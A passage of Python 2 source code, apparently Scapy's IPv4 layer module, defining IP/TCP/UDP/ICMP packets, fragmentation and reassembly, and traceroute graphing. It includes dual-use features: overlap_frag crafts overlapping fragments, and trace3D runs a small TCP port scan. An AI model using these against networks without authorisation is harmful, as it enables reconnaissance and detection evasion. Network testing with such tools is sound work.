IPOption_Stream_Id(IPOption): name = "IP Option Stream ID" option = 8 fields_desc = [ _IPOption_HDR, ByteField("length", 4), ShortField("security",0), ] class IPOption_MTU_Probe(IPOption): name = "IP Option MTU Probe" option = 11 fields_desc = [ _IPOption_HDR, ByteField("length", 4), ShortField("mtu",0), ] class IPOption_MTU_Reply(IPOption_MTU_Probe): name = "IP Option MTU Reply" option = 12 class IPOption_Traceroute(IPOption): name = "IP Option Traceroute" copy_flag = 1 option = 18 fields_desc = [ _IPOption_HDR, ByteField("length", 12), ShortField("id",0), ShortField("outbound_hops",0), ShortField("return_hops",0), IPField("originator_ip","0.0.0.0") ] class IPOption_Address_Extension(IPOption): name = "IP Option Address Extension" copy_flag = 1 option = 19 fields_desc = [ _IPOption_HDR, ByteField("length", 10), IPField("src_ext","0.0.0.0"), IPField("dst_ext","0.0.0.0") ] class IPOption_Router_Alert(IPOption): name = "IP Option Router Alert" copy_flag = 1 option = 20 fields_desc = [ _IPOption_HDR, ByteField("length", 4), ShortEnumField("alert",0, {0:"router_shall_examine_packet"}), ] class IPOption_SDBM(IPOption): name = "IP Option Selective Directed Broadcast Mode" copy_flag = 1 option = 21 fields_desc = [ _IPOption_HDR, FieldLenField("length", None, fmt="B", length_of="addresses", adjust=lambda pkt,l:l+2), FieldListField("addresses",[],IPField("","0.0.0.0"), length_from=lambda pkt:pkt.length-2) ] TCPOptions = ( { 0 : ("EOL",None), 1 : ("NOP",None), 2 : ("MSS","!H"), 3 : ("WScale","!B"), 4 : ("SAckOK",None), 5 : ("SAck","!"), 8 : ("Timestamp","!II"), 14 : ("AltChkSum","!BH"), 15 : ("AltChkSumOpt",None), 25 : ("Mood","!p"), 28 : ("UTO", "!H"), 34 : ("TFO", "!II"), }, { "EOL":0, "NOP":1, "MSS":2, "WScale":3, "SAckOK":4, "SAck":5, "Timestamp":8, "AltChkSum":14, "AltChkSumOpt":15, "Mood":25, "UTO":28, "TFO":34, } ) class TCPOptionsField(StrField): islist=1 def getfield(self, pkt, s): opsz = (pkt.dataofs-5)*4 if opsz < 0: warning("bad dataofs (%i). Assuming dataofs=5"%pkt.dataofs) opsz = 0 return s[opsz:],self.m2i(pkt,s[:opsz]) def m2i(self, pkt, x): opt = [] while x: onum = ord(x[0]) if onum == 0: opt.append(("EOL",None)) x=x[1:] break if onum == 1: opt.append(("NOP",None)) x=x[1:] continue olen = ord(x[1]) if olen < 2: warning("Malformed TCP option (announced length is %i)" % olen) olen = 2 oval = x[2:olen] if TCPOptions[0].has_key(onum): oname, ofmt = TCPOptions[0][onum] if onum == 5: #SAck ofmt += "%iI" % (len(oval)/4) if ofmt and struct.calcsize(ofmt) == len(oval): oval = struct.unpack(ofmt, oval) if len(oval) == 1: oval = oval[0] opt.append((oname, oval)) else: opt.append((onum, oval)) x = x[olen:] return opt def i2m(self, pkt, x): opt = "" for oname,oval in x: if type(oname) is str: if oname == "NOP": opt += "\x01" continue elif oname == "EOL": opt += "\x00" continue elif TCPOptions[1].has_key(oname): onum = TCPOptions[1][oname] ofmt = TCPOptions[0][onum][1] if onum == 5: #SAck ofmt += "%iI" % len(oval) if ofmt is not None and (type(oval) is not str or "s" in ofmt): if type(oval) is not tuple: oval = (oval,) oval = struct.pack(ofmt, *oval) else: warning("option [%s] unknown. Skipped."%oname) continue else: onum = oname if type(oval) is not str: warning("option [%i] is not string."%onum) continue opt += chr(onum)+chr(2+len(oval))+oval return opt+"\x00"*(3-((len(opt)+3)%4)) def randval(self): return [] # XXX class ICMPTimeStampField(IntField): re_hmsm = re.compile("([0-2]?[0-9])[Hh:](([0-5]?[0-9])([Mm:]([0-5]?[0-9])([sS:.]([0-9]{0,3}))?)?)?$") def i2repr(self, pkt, val): if val is None: return "--" else: sec, milli = divmod(val, 1000) min, sec = divmod(sec, 60) hour, min = divmod(min, 60) return "%d:%d:%d.%d" %(hour, min, sec, int(milli)) def any2i(self, pkt, val): if type(val) is str: hmsms = self.re_hmsm.match(val) if hmsms: h,_,m,_,s,_,ms = hmsms = hmsms.groups() ms = int(((ms or "")+"000")[:3]) val = ((int(h)*60+int(m or 0))*60+int(s or 0))*1000+ms else: val = 0 elif val is None: val = int((time.time()%(24*60*60))*1000) return val class DestIPField(IPField, DestField): bindings = {} def __init__(self, name, default): IPField.__init__(self, name, None) DestField.__init__(self, name, default) def i2m(self, pkt, x): if x is None: x = self.dst_from_pkt(pkt) return IPField.i2m(self, pkt, x) def i2h(self, pkt, x): if x is None: x = self.dst_from_pkt(pkt) return IPField.i2h(self, pkt, x) class IP(Packet, IPTools): __slots__ = ["_defrag_pos"] name = "IP" fields_desc = [ BitField("version" , 4 , 4), BitField("ihl", None, 4), XByteField("tos", 0), ShortField("len", None), ShortField("id", 1), FlagsField("flags", 0, 3, ["MF","DF","evil"]), BitField("frag", 0, 13), ByteField("ttl", 64), ByteEnumField("proto", 0, IP_PROTOS), XShortField("chksum", None), #IPField("src", "127.0.0.1"), Emph(SourceIPField("src","dst")), Emph(DestIPField("dst", "127.0.0.1")), PacketListField("options", [], IPOption, length_from=lambda p:p.ihl*4-20) ] def post_build(self, p, pay): ihl = self.ihl p += "\0"*((-len(p))%4) # pad IP options if needed if ihl is None: ihl = len(p)/4 p = chr(((self.version&0xf)<<4) | ihl&0x0f)+p[1:] if self.len is None: l = len(p)+len(pay) p = p[:2]+struct.pack("!H", l)+p[4:] if self.chksum is None: ck = checksum(p) p = p[:10]+chr(ck>>8)+chr(ck&0xff)+p[12:] return p+pay def extract_padding(self, s): l = self.len - (self.ihl << 2) return s[:l],s[l:] def send(self, s, slp=0): for p in self: try: s.sendto(str(p), (p.dst,0)) except socket.error, msg: log_runtime.error(msg) if slp: time.sleep(slp) def route(self): dst = self.dst if isinstance(dst,Gen): dst = iter(dst).next() if conf.route is None: # unused import, only to initialize conf.route import scapy.route return conf.route.route(dst) def hashret(self): if ( (self.proto == socket.IPPROTO_ICMP) and (isinstance(self.payload, ICMP)) and (self.payload.type in [3,4,5,11,12]) ): return self.payload.payload.hashret() else: if self.dst == "224.0.0.251": # mDNS return struct.pack("B", self.proto) + self.payload.hashret() if conf.checkIPsrc and conf.checkIPaddr: return strxor(inet_aton(self.src),inet_aton(self.dst))+struct.pack("B",self.proto)+self.payload.hashret() else: return struct.pack("B", self.proto)+self.payload.hashret() def answers(self, other): if not isinstance(other,IP): return 0 if conf.checkIPaddr: if other.dst == "224.0.0.251" and self.dst == "224.0.0.251": # mDNS return self.payload.answers(other.payload) elif (self.dst != other.src): return 0 if ( (self.proto == socket.IPPROTO_ICMP) and (isinstance(self.payload, ICMP)) and (self.payload.type in [3,4,5,11,12]) ): # ICMP error message return self.payload.payload.answers(other) else: if ( (conf.checkIPaddr and (self.src != other.dst)) or (self.proto != other.proto) ): return 0 return self.payload.answers(other.payload) def mysummary(self): s = self.sprintf("%IP.src% > %IP.dst% %IP.proto%") if self.frag: s += " frag:%i" % self.frag return s def fragment(self, fragsize=1480): """Fragment IP datagrams""" fragsize = (fragsize+7)/8*8 lst = [] fnb = 0 fl = self while fl.underlayer is not None: fnb += 1 fl = fl.underlayer for p in fl: s = str(p[fnb].payload) nb = (len(s)+fragsize-1)/fragsize for i in xrange(nb): q = p.copy() del(q[fnb].payload) del(q[fnb].chksum) del(q[fnb].len) if i == nb-1: q[IP].flags &= ~1 else: q[IP].flags |= 1 q[IP].frag = i*fragsize/8 r = conf.raw_layer(load=s[i*fragsize:(i+1)*fragsize]) r.overload_fields = p[IP].payload.overload_fields.copy() q.add_payload(r) lst.append(q) return lst class TCP(Packet): name = "TCP" fields_desc = [ ShortEnumField("sport", 20, TCP_SERVICES), ShortEnumField("dport", 80, TCP_SERVICES), IntField("seq", 0), IntField("ack", 0), BitField("dataofs", None, 4), BitField("reserved", 0, 3), FlagsField("flags", 0x2, 9, "FSRPAUECN"), ShortField("window", 8192), XShortField("chksum", None), ShortField("urgptr", 0), TCPOptionsField("options", {}) ] def post_build(self, p, pay): p += pay dataofs = self.dataofs if dataofs is None: dataofs = 5+((len(self.get_field("options").i2m(self,self.options))+3)/4) p = p[:12]+chr((dataofs << 4) | ord(p[12])&0x0f)+p[13:] if self.chksum is None: if isinstance(self.underlayer, IP): if self.underlayer.len is not None: if self.underlayer.ihl is None: olen = sum(len(x) for x in self.underlayer.options) ihl = 5 + olen / 4 + (1 if olen % 4 else 0) else: ihl = self.underlayer.ihl ln = self.underlayer.len - 4 * ihl else: ln = len(p) psdhdr = struct.pack("!4s4sHH", inet_aton(self.underlayer.src), inet_aton(self.underlayer.dst), self.underlayer.proto, ln) ck=checksum(psdhdr+p) p = p[:16]+struct.pack("!H", ck)+p[18:] elif conf.ipv6_enabled and isinstance(self.underlayer, scapy.layers.inet6.IPv6) or isinstance(self.underlayer, scapy.layers.inet6._IPv6ExtHdr): ck = scapy.layers.inet6.in6_chksum(socket.IPPROTO_TCP, self.underlayer, p) p = p[:16]+struct.pack("!H", ck)+p[18:] else: warning("No IP underlayer to compute checksum. Leaving null.") return p def hashret(self): if conf.checkIPsrc: return struct.pack("H",self.sport ^ self.dport)+self.payload.hashret() else: return self.payload.hashret() def answers(self, other): if not isinstance(other, TCP): return 0 if conf.checkIPsrc: if not ((self.sport == other.dport) and (self.dport == other.sport)): return 0 if (abs(other.seq-self.ack) > 2+len(other.payload)): return 0 return 1 def mysummary(self): if isinstance(self.underlayer, IP): return self.underlayer.sprintf("TCP %IP.src%:%TCP.sport% > %IP.dst%:%TCP.dport% %TCP.flags%") elif conf.ipv6_enabled and isinstance(self.underlayer, scapy.layers.inet6.IPv6): return self.underlayer.sprintf("TCP %IPv6.src%:%TCP.sport% > %IPv6.dst%:%TCP.dport% %TCP.flags%") else: return self.sprintf("TCP %TCP.sport% > %TCP.dport% %TCP.flags%") class UDP(Packet): name = "UDP" fields_desc = [ ShortEnumField("sport", 53, UDP_SERVICES), ShortEnumField("dport", 53, UDP_SERVICES), ShortField("len", None), XShortField("chksum", None), ] def post_build(self, p, pay): p += pay l = self.len if l is None: l = len(p) p = p[:4]+struct.pack("!H",l)+p[6:] if self.chksum is None: if isinstance(self.underlayer, IP): if self.underlayer.len is not None: if self.underlayer.ihl is None: olen = sum(len(x) for x in self.underlayer.options) ihl = 5 + olen / 4 + (1 if olen % 4 else 0) else: ihl = self.underlayer.ihl ln = self.underlayer.len - 4 * ihl else: ln = len(p) psdhdr = struct.pack("!4s4sHH", inet_aton(self.underlayer.src), inet_aton(self.underlayer.dst), self.underlayer.proto, ln) ck=checksum(psdhdr+p) p = p[:6]+struct.pack("!H", ck)+p[8:] elif isinstance(self.underlayer, scapy.layers.inet6.IPv6) or isinstance(self.underlayer, scapy.layers.inet6._IPv6ExtHdr): ck = scapy.layers.inet6.in6_chksum(socket.IPPROTO_UDP, self.underlayer, p) # According to RFC2460 if the result checksum is 0, it should be set to 0xFFFF if ck == 0: ck = 0xFFFF p = p[:6]+struct.pack("!H", ck)+p[8:] else: warning("No IP underlayer to compute checksum. Leaving null.") return p def extract_padding(self, s): l = self.len - 8 return s[:l],s[l:] def hashret(self): return self.payload.hashret() def answers(self, other): if not isinstance(other, UDP): return 0 if conf.checkIPsrc: if self.dport != other.sport: return 0 return self.payload.answers(other.payload) def mysummary(self): if isinstance(self.underlayer, IP): return self.underlayer.sprintf("UDP %IP.src%:%UDP.sport% > %IP.dst%:%UDP.dport%") elif isinstance(self.underlayer, scapy.layers.inet6.IPv6): return self.underlayer.sprintf("UDP %IPv6.src%:%UDP.sport% > %IPv6.dst%:%UDP.dport%") else: return self.sprintf("UDP %UDP.sport% > %UDP.dport%") icmptypes = { 0 : "echo-reply", 3 : "dest-unreach", 4 : "source-quench", 5 : "redirect", 8 : "echo-request", 9 : "router-advertisement", 10 : "router-solicitation", 11 : "time-exceeded", 12 : "parameter-problem", 13 : "timestamp-request", 14 : "timestamp-reply", 15 : "information-request", 16 : "information-response", 17 : "address-mask-request", 18 : "address-mask-reply" } icmpcodes = { 3 : { 0 : "network-unreachable", 1 : "host-unreachable", 2 : "protocol-unreachable", 3 : "port-unreachable", 4 : "fragmentation-needed", 5 : "source-route-failed", 6 : "network-unknown", 7 : "host-unknown", 9 : "network-prohibited", 10 : "host-prohibited", 11 : "TOS-network-unreachable", 12 : "TOS-host-unreachable", 13 : "communication-prohibited", 14 : "host-precedence-violation", 15 : "precedence-cutoff", }, 5 : { 0 : "network-redirect", 1 : "host-redirect", 2 : "TOS-network-redirect", 3 : "TOS-host-redirect", }, 11 : { 0 : "ttl-zero-during-transit", 1 : "ttl-zero-during-reassembly", }, 12 : { 0 : "ip-header-bad", 1 : "required-option-missing", }, } class ICMP(Packet): name = "ICMP" fields_desc = [ ByteEnumField("type",8, icmptypes), MultiEnumField("code",0, icmpcodes, depends_on=lambda pkt:pkt.type,fmt="B"), XShortField("chksum", None), ConditionalField(XShortField("id",0), lambda pkt:pkt.type in [0,8,13,14,15,16,17,18]), ConditionalField(XShortField("seq",0), lambda pkt:pkt.type in [0,8,13,14,15,16,17,18]), ConditionalField(ICMPTimeStampField("ts_ori", None), lambda pkt:pkt.type in [13,14]), ConditionalField(ICMPTimeStampField("ts_rx", None), lambda pkt:pkt.type in [13,14]), ConditionalField(ICMPTimeStampField("ts_tx", None), lambda pkt:pkt.type in [13,14]), ConditionalField(IPField("gw","0.0.0.0"), lambda pkt:pkt.type==5), ConditionalField(ByteField("ptr",0), lambda pkt:pkt.type==12), ConditionalField(ByteField("reserved",0), lambda pkt:pkt.type in [3,11]), ConditionalField(ByteField("length",0), lambda pkt:pkt.type in [3,11,12]), ConditionalField(IPField("addr_mask","0.0.0.0"), lambda pkt:pkt.type in [17,18]), ConditionalField(ShortField("nexthopmtu",0), lambda pkt:pkt.type==3), ConditionalField(ShortField("unused",0), lambda pkt:pkt.type in [11,12]), ConditionalField(IntField("unused",0), lambda pkt:pkt.type not in [0,3,5,8,11,12,13,14,15,16,17,18]) ] def post_build(self, p, pay): p += pay if self.chksum is None: ck = checksum(p) p = p[:2]+chr(ck>>8)+chr(ck&0xff)+p[4:] return p def hashret(self): if self.type in [0,8,13,14,15,16,17,18]: return struct.pack("HH",self.id,self.seq)+self.payload.hashret() return self.payload.hashret() def answers(self, other): if not isinstance(other,ICMP): return 0 if ( (other.type,self.type) in [(8,0),(13,14),(15,16),(17,18)] and self.id == other.id and self.seq == other.seq ): return 1 return 0 def guess_payload_class(self, payload): if self.type in [3,4,5,11,12]: return IPerror else: return None def mysummary(self): if isinstance(self.underlayer, IP): return self.underlayer.sprintf("ICMP %IP.src% > %IP.dst% %ICMP.type% %ICMP.code%") else: return self.sprintf("ICMP %ICMP.type% %ICMP.code%") class IPerror(IP): name = "IP in ICMP" def answers(self, other): if not isinstance(other, IP): return 0 if not ( ((conf.checkIPsrc == 0) or (self.dst == other.dst)) and (self.src == other.src) and ( ((conf.checkIPID == 0) or (self.id == other.id) or (conf.checkIPID == 1 and self.id == socket.htons(other.id)))) and (self.proto == other.proto) ): return 0 return self.payload.answers(other.payload) def mysummary(self): return Packet.mysummary(self) class TCPerror(TCP): name = "TCP in ICMP" def answers(self, other): if not isinstance(other, TCP): return 0 if conf.checkIPsrc: if not ((self.sport == other.sport) and (self.dport == other.dport)): return 0 if conf.check_TCPerror_seqack: if self.seq is not None: if self.seq != other.seq: return 0 if self.ack is not None: if self.ack != other.ack: return 0 return 1 def mysummary(self): return Packet.mysummary(self) class UDPerror(UDP): name = "UDP in ICMP" def answers(self, other): if not isinstance(other, UDP): return 0 if conf.checkIPsrc: if not ((self.sport == other.sport) and (self.dport == other.dport)): return 0 return 1 def mysummary(self): return Packet.mysummary(self) class ICMPerror(ICMP): name = "ICMP in ICMP" def answers(self, other): if not isinstance(other,ICMP): return 0 if not ((self.type == other.type) and (self.code == other.code)): return 0 if self.code in [0,8,13,14,17,18]: if (self.id == other.id and self.seq == other.seq): return 1 else: return 0 else: return 1 def mysummary(self): return Packet.mysummary(self) bind_layers( Ether, IP, type=2048) bind_layers( CookedLinux, IP, proto=2048) bind_layers( GRE, IP, proto=2048) bind_layers( SNAP, IP, code=2048) bind_layers( IPerror, IPerror, frag=0, proto=4) bind_layers( IPerror, ICMPerror, frag=0, proto=1) bind_layers( IPerror, TCPerror, frag=0, proto=6) bind_layers( IPerror, UDPerror, frag=0, proto=17) bind_layers( IP, IP, frag=0, proto=4) bind_layers( IP, ICMP, frag=0, proto=1) bind_layers( IP, TCP, frag=0, proto=6) bind_layers( IP, UDP, frag=0, proto=17) bind_layers( IP, GRE, frag=0, proto=47) conf.l2types.register(101, IP) conf.l2types.register_num2layer(12, IP) conf.l3types.register(ETH_P_IP, IP) conf.l3types.register_num2layer(ETH_P_ALL, IP) def inet_register_l3(l2, l3): return getmacbyip(l3.dst) conf.neighbor.register_l3(Ether, IP, inet_register_l3) conf.neighbor.register_l3(Dot3, IP, inet_register_l3) ################### ## Fragmentation ## ################### @conf.commands.register def fragment(pkt, fragsize=1480): """Fragment a big IP datagram""" fragsize = (fragsize+7)/8*8 lst = [] for p in pkt: s = str(p[IP].payload) nb = (len(s)+fragsize-1)/fragsize for i in xrange(nb): q = p.copy() del(q[IP].payload) del(q[IP].chksum) del(q[IP].len) if i == nb-1: q[IP].flags &= ~1 else: q[IP].flags |= 1 q[IP].frag = i*fragsize/8 r = conf.raw_layer(load=s[i*fragsize:(i+1)*fragsize]) r.overload_fields = p[IP].payload.overload_fields.copy() q.add_payload(r) lst.append(q) return lst def overlap_frag(p, overlap, fragsize=8, overlap_fragsize=None): if overlap_fragsize is None: overlap_fragsize = fragsize q = p.copy() del(q[IP].payload) q[IP].add_payload(overlap) qfrag = fragment(q, overlap_fragsize) qfrag[-1][IP].flags |= 1 return qfrag+fragment(p, fragsize) @conf.commands.register def defrag(plist): """defrag(plist) -> ([not fragmented], [defragmented], [ [bad fragments], [bad fragments], ... ])""" frags = defaultdict(PacketList) nofrag = PacketList() for p in plist: ip = p[IP] if IP not in p: nofrag.append(p) continue if ip.frag == 0 and ip.flags & 1 == 0: nofrag.append(p) continue uniq = (ip.id,ip.src,ip.dst,ip.proto) frags[uniq].append(p) defrag = [] missfrag = [] for lst in frags.itervalues(): lst.sort(key=lambda x: x.frag) p = lst[0] lastp = lst[-1] if p.frag > 0 or lastp.flags & 1 != 0: # first or last fragment missing missfrag.append(lst) continue p = p.copy() if conf.padding_layer in p: del(p[conf.padding_layer].underlayer.payload) ip = p[IP] if ip.len is None or ip.ihl is None: clen = len(ip.payload) else: clen = ip.len - (ip.ihl<<2) txt = conf.raw_layer() for q in lst[1:]: if clen != q.frag<<3: # Wrong fragmentation offset if clen > q.frag<<3: warning("Fragment overlap (%i > %i) %r || %r || %r" % (clen, q.frag<<3, p,txt,q)) missfrag.append(lst) break if q[IP].len is None or q[IP].ihl is None: clen += len(q[IP].payload) else: clen += q[IP].len - (q[IP].ihl<<2) if conf.padding_layer in q: del(q[conf.padding_layer].underlayer.payload) txt.add_payload(q[IP].payload.copy()) else: ip.flags &= ~1 # !MF del(ip.chksum) del(ip.len) p = p/txt defrag.append(p) defrag2=PacketList() for p in defrag: defrag2.append(p.__class__(str(p))) return nofrag,defrag2,missfrag @conf.commands.register def defragment(plist): """defrag(plist) -> plist defragmented as much as possible """ frags = defaultdict(lambda:[]) final = [] pos = 0 for p in plist: p._defrag_pos = pos pos += 1 if IP in p: ip = p[IP] if ip.frag != 0 or ip.flags & 1: ip = p[IP] uniq = (ip.id,ip.src,ip.dst,ip.proto) frags[uniq].append(p) continue final.append(p) defrag = [] missfrag = [] for lst in frags.itervalues(): lst.sort(key=lambda x: x.frag) p = lst[0] lastp = lst[-1] if p.frag > 0 or lastp.flags & 1 != 0: # first or last fragment missing missfrag += lst continue p = p.copy() if conf.padding_layer in p: del(p[conf.padding_layer].underlayer.payload) ip = p[IP] if ip.len is None or ip.ihl is None: clen = len(ip.payload) else: clen = ip.len - (ip.ihl<<2) txt = conf.raw_layer() for q in lst[1:]: if clen != q.frag<<3: # Wrong fragmentation offset if clen > q.frag<<3: warning("Fragment overlap (%i > %i) %r || %r || %r" % (clen, q.frag<<3, p,txt,q)) missfrag += lst break if q[IP].len is None or q[IP].ihl is None: clen += len(q[IP].payload) else: clen += q[IP].len - (q[IP].ihl<<2) if conf.padding_layer in q: del(q[conf.padding_layer].underlayer.payload) txt.add_payload(q[IP].payload.copy()) else: ip.flags &= ~1 # !MF del(ip.chksum) del(ip.len) p = p/txt p._defrag_pos = max(x._defrag_pos for x in lst) defrag.append(p) defrag2=[] for p in defrag: q = p.__class__(str(p)) q._defrag_pos = p._defrag_pos defrag2.append(q) final += defrag2 final += missfrag final.sort(key=lambda x: x._defrag_pos) for p in final: del(p._defrag_pos) if hasattr(plist, "listname"): name = "Defragmented %s" % plist.listname else: name = "Defragmented" return PacketList(final, name=name) ### Add timeskew_graph() method to PacketList def _packetlist_timeskew_graph(self, ip, **kargs): """Tries to graph the timeskew between the timestamps and real time for a given ip""" # Filter TCP segments which source address is 'ip' res = map(lambda x: self._elt2pkt(x), self.res) b = filter(lambda x:x.haslayer(IP) and x.getlayer(IP).src == ip and x.haslayer(TCP), res) # Build a list of tuples (creation_time, replied_timestamp) c = [] for p in b: opts = p.getlayer(TCP).options for o in opts: if o[0] == "Timestamp": c.append((p.time,o[1][0])) # Stop if the list is empty if not c: warning("No timestamps found in packet list") return [] # Prepare the data that will be plotted first_creation_time = c[0][0] first_replied_timestamp = c[0][1] def _wrap_data(ts_tuple, wrap_seconds=2000): """Wrap the list of tuples.""" ct,rt = ts_tuple # (creation_time, replied_timestamp) X = ct % wrap_seconds Y = ((ct-first_creation_time) - ((rt-first_replied_timestamp)/1000.0)) return X, Y data = map(_wrap_data, c) # Mimic the default gnuplot output if kargs == {}: kargs = MATPLOTLIB_DEFAULT_PLOT_KARGS lines = plt.plot(data, **kargs) # Call show() if matplotlib is not inlined if not MATPLOTLIB_INLINED: plt.show() return lines PacketList.timeskew_graph = new.instancemethod(_packetlist_timeskew_graph, None, PacketList) ### Create a new packet list class TracerouteResult(SndRcvList): __slots__ = ["graphdef", "graphpadding", "graphASres", "padding", "hloc", "nloc"] def __init__(self, res=None, name="Traceroute", stats=None): PacketList.__init__(self, res, name, stats) self.graphdef = None self.graphASres = 0 self.padding = 0 self.hloc = None self.nloc = None def show(self): return self.make_table(lambda (s,r): (s.sprintf("%IP.dst%:{TCP:tcp%ir,TCP.dport%}{UDP:udp%ir,UDP.dport%}{ICMP:ICMP}"), s.ttl, r.sprintf("%-15s,IP.src% {TCP:%TCP.flags%}{ICMP:%ir,ICMP.type%}"))) def get_trace(self): trace = {} for s,r in self.res: if IP not in s: continue d = s[IP].dst if d not in trace: trace[d] = {} trace[d][s[IP].ttl] = r[IP].src, ICMP not in r for k in trace.itervalues(): try: m = min(x for x, y in k.itervalues() if y[1]) except ValueError: continue for l in k.keys(): # use .keys(): k is modified in the loop if l > m: del k[l] return trace def trace3D(self): """Give a 3D representation of the traceroute. right button: rotate the scene middle button: zoom left button: move the scene left button on a ball: toggle IP displaying ctrl-left button on a ball: scan ports 21,22,23,25,80 and 443 and display the result""" trace = self.get_trace() import visual class IPsphere(visual.sphere): def __init__(self, ip, **kargs): visual.sphere.__init__(self, **kargs) self.ip=ip self.label=None self.setlabel(self.ip) def setlabel(self, txt,visible=None): if self.label is not None: if visible is None: visible = self.label.visible self.label.visible = 0 elif visible is None: visible=0 self.label=visual.label(text=txt, pos=self.pos, space=self.radius, xoffset=10, yoffset=20, visible=visible) def action(self): self.label.visible ^= 1 visual.scene = visual.display() visual.scene.exit = True start = visual.box() rings={} tr3d = {} for i in trace: tr = trace[i] tr3d[i] = [] for t in xrange(1, max(tr) + 1): if t not in rings: rings[t] = [] if t in tr: if tr[t] not in rings[t]: rings[t].append(tr[t]) tr3d[i].append(rings[t].index(tr[t])) else: rings[t].append(("unk",-1)) tr3d[i].append(len(rings[t])-1) for t in rings: r = rings[t] l = len(r) for i in xrange(l): if r[i][1] == -1: col = (0.75,0.75,0.75) elif r[i][1]: col = visual.color.green else: col = visual.color.blue s = IPsphere(pos=((l-1)*visual.cos(2*i*visual.pi/l),(l-1)*visual.sin(2*i*visual.pi/l),2*t), ip = r[i][0], color = col) for trlst in tr3d.itervalues(): if t <= len(trlst): if trlst[t-1] == i: trlst[t-1] = s forecol = colgen(0.625, 0.4375, 0.25, 0.125) for trlst in tr3d.itervalues(): col = forecol.next() start = (0,0,0) for ip in trlst: visual.cylinder(pos=start,axis=ip.pos-start,color=col,radius=0.2) start = ip.pos movcenter=None while 1: visual.rate(50) if visual.scene.kb.keys: k = visual.scene.kb.getkey() if k == "esc" or k == "q": break if visual.scene.mouse.events: ev = visual.scene.mouse.getevent() if ev.press == "left": o = ev.pick if o: if ev.ctrl: if o.ip == "unk": continue savcolor = o.color o.color = (1,0,0) a,b=sr(IP(dst=o.ip)/TCP(dport=[21,22,23,25,80,443]),timeout=2) o.color = savcolor if len(a) == 0: txt = "%s:\nno results" % o.ip else: txt = "%s:\n" % o.ip for s,r in a: txt += r.sprintf("{TCP:%IP.src%:%TCP.sport% %TCP.flags%}{TCPerror:%IPerror.dst%:%TCPerror.dport% %IP.src% %ir,ICMP.type%}\n") o.setlabel(txt, visible=1) else: if hasattr(o, "action"): o.action() elif ev.drag == "left": movcenter = ev.pos elif ev.drop == "left": movcenter = None if movcenter: visual.scene.center -= visual.scene.mouse.pos-movcenter movcenter = visual.scene.mouse.pos def world_trace(self, **kargs): """Display traceroute results on a world map.""" # Check that the GeoIP module can be imported try: import GeoIP except ImportError: message = "Can't import GeoIP. Won't be able to plot the world." scapy.utils.log_loading.info(message) return list() # Check if this is an IPv6 traceroute and load the correct file if isinstance(self, scapy.layers.inet6.TracerouteResult6): geoip_city_filename = conf.geoip_city_ipv6 else: geoip_city_filename = conf.geoip_city # Check that the GeoIP database can be opened try: db = GeoIP.open(conf.geoip_city, 0) except: message = "Can't open GeoIP database at %s" % conf.geoip_city scapy.utils.log_loading.info(message) return list() # Regroup results per trace ips = {} rt = {} ports_done = {} for s,r in self.res: ips[r.src] = None if s.haslayer(TCP) or s.haslayer(UDP): trace_id = (s.src,s.dst,s.proto,s.dport) elif s.haslayer(ICMP): trace_id = (s.src,s.dst,s.proto,s.type) else: trace_id = (s.src,s.dst,s.proto,0) trace = rt.get(trace_id,{}) if not r.haslayer(ICMP) or r.type != 11: if ports_done.has_key(trace_id): continue ports_done[trace_id] = None trace[s.ttl] = r.src rt[trace_id] = trace # Get the addresses locations trt = {} for trace_id in rt: trace = rt[trace_id] loctrace = [] for i in xrange(max(trace)): ip = trace.get(i,None) if ip is None: continue loc = db.record_by_addr(ip) if loc is None: continue loc = loc.get('longitude'), loc.get('latitude') if loc == (None, None): continue loctrace.append(loc) if loctrace: trt[trace_id] = loctrace # Load the map renderer from mpl_toolkits.basemap import Basemap bmap = Basemap() # Split latitudes and longitudes per traceroute measurement locations = [zip(*tr) for tr in trt.itervalues()] # Plot the traceroute measurement as lines in the map lines = [bmap.plot(*bmap(lons, lats)) for lons, lats in locations] # Draw countries bmap.drawcoastlines() # Call show() if matplotlib is not inlined if not MATPLOTLIB_INLINED: plt.show() # Return the drawn lines return lines def make_graph(self,ASres=None,padding=0): if ASres is None: ASres = conf.AS_resolver self.graphASres = ASres self.graphpadding = padding ips = {} rt = {} ports = {} ports_done = {} for s,r in self.res: r = r.getlayer(IP) or (conf.ipv6_enabled and r[scapy.layers.inet6.IPv6]) or r s = s.getlayer(IP) or (conf.ipv6_enabled and s[scapy.layers.inet6.IPv6]) or s ips[r.src] = None if TCP in s: trace_id = (s.src,s.dst,6,s.dport) elif UDP in s: trace_id = (s.src,s.dst,17,s.dport) elif ICMP in s: trace_id = (s.src,s.dst,1,s.type) else: trace_id = (s.src,s.dst,s.proto,0) trace = rt.get(trace_id,{}) ttl = conf.ipv6_enabled and scapy.layers.inet6.IPv6 in s and s.hlim or s.ttl if not (ICMP in r and r[ICMP].type == 11) and not (conf.ipv6_enabled and scapy.layers.inet6.IPv6 in r and scapy.layers.inet6.ICMPv6TimeExceeded in r): if trace_id in ports_done: continue ports_done[trace_id] = None p = ports.get(r.src,[]) if TCP in r: p.append(r.sprintf(" %TCP.sport% %TCP.flags%")) trace[ttl] = r.sprintf('"%r,src%":T%ir,TCP.sport%') elif UDP in r: p.append(r.sprintf(" %UDP.sport%")) trace[ttl] = r.sprintf('"%r,src%":U%ir,UDP.sport%') elif ICMP in r: p.append(r.sprintf(" ICMP %ICMP.type%")) trace[ttl] = r.sprintf('"%r,src%":I%ir,ICMP.type%') else: p.append(r.sprintf("{IP: IP %proto%}{IPv6: IPv6 %nh%}")) trace[ttl] = r.sprintf('"%r,src%":{IP:P%ir,proto%}{IPv6:P%ir,nh%}') ports[r.src] = p else: trace[ttl] = r.sprintf('"%r,src%"') rt[trace_id] = trace # Fill holes with unk%i nodes unknown_label = incremental_label("unk%i") blackholes = [] bhip = {} for rtk in rt: trace = rt[rtk] max_trace = max(trace) for n in xrange(min(trace), max_trace): if not trace.has_key(n): trace[n] = unknown_label.next() if not ports_done.has_key(rtk): if rtk[2] == 1: #ICMP bh = "%s %i/icmp" % (rtk[1],rtk[3]) elif rtk[2] == 6: #TCP bh = "%s %i/tcp" % (rtk[1],rtk[3]) elif rtk[2] == 17: #UDP bh = '%s %i/udp' % (rtk[1],rtk[3]) else: bh = '%s %i/proto' % (rtk[1],rtk[2]) ips[bh] = None bhip[rtk[1]] = bh bh = '"%s"' % bh trace[max_trace + 1] = bh blackholes.append(bh) # Find AS numbers ASN_query_list = set(x.rsplit(" ",1)[0] for x in ips) if ASres is None: ASNlist = [] else: ASNlist = ASres.resolve(*ASN_query_list) ASNs = {} ASDs = {} for ip,asn,desc, in ASNlist: if asn is 